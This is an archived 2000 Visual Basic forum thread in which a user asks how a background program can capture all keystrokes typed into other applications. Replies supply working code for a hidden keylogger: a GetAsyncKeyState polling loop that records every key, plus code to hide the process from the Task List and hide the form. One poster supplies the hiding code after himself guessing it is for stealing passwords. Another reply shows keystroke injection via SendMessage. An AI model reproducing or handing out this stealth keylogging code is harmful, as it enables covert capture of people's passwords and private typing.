Click to See Complete Forum and Search --> : A newbie question?
merlinkk
Aug 14th, 2000, 10:04 PM
The problem:
The way for making a form not in focus recieve all keystrokes made by user
Example:
User types in Notepad and app on background recieves all user's keypresses and puts them in its own textbox. Result: text is duplicated in 2 places.
usin sendmessage for getting text from control is not acceptable because sendmessage will not recieve info from most full-screen of dos-based apps and thats what i need
Thx very much if u can help and just thx if u cant =)
Use GetAsyncKeyState. Put the following code in a Form with a Timer.
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
For I = 3 To 255
If I > 31 Then If GetAsyncKeyState(I) Then Text1 = Text1 & Chr(I)
Next I
End Sub
xensoft
Aug 15th, 2000, 08:48 AM
Sorry if I'm being rude, but the next question's not going to be, how do I make my form invisible and how to I make it invisible on the tasks list is it?
The only reason that I can think why you'd want to do this is if you were going to rob someones password or something else devious :)
I don't really think it matters, however, if thats the case, then the answers are shown below.
To hide from the Task List:
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Sub Form_Load()
'Hide from Task List
RegisterServiceProcess GetCurrentProcessId, 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Show in Task list
RegisterServiceProcess GetCurrentProcessId, 0
End Sub
To hide the Form:
Me.Visible = False
'Or you can use...
Me.Hide
merlinkk
Aug 15th, 2000, 11:28 AM
Thx Megatron , one more question:
Is there a way to send keystrokes (keycodes or charcodes) with sendmessage?
Send the WM_CHAR message. Next example will send the A key to Notepad (so make sure you have Notepad pre-opened)
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Const WM_CHAR = &H102
Private Sub Command1_Click()
Dim hParent As Long
Dim hChild As Long
hParent = FindWindow("Notepad", vbNullString)
hChild = FindWindowEx(hParent, 0&, "Edit", vbNullString)
SendMessage hChild, WM_CHAR, vbKeyA, 0
End Sub
V(ery) Basic
Aug 15th, 2000, 12:14 PM
Please excuse my frined Megatron for being a bit of a show-off. He's only trying to help.
;)
Unfortunately, he's succeeding quite nicely.
:(
I shall never be a Guru.
Unless, of course, all the other Gurus die by (for example) chopping their heads off while shaving, stabbing themselves with a bread knife while cutting a loaf or (in a tragic accident) drowning in their owns baths.
*Deviously leaves the room*
merlinkk
Aug 15th, 2000, 01:50 PM
ok, so sendmessage can send keystrokes though i couldnt accomplish sending vbkeyreturn which is bad =(
And: is there any possibility to scan what virtual key is pressed now and deicpher what u get in a symbol/func key
vbforums.com
Copyright Internet.com Inc., All Rights Reserved.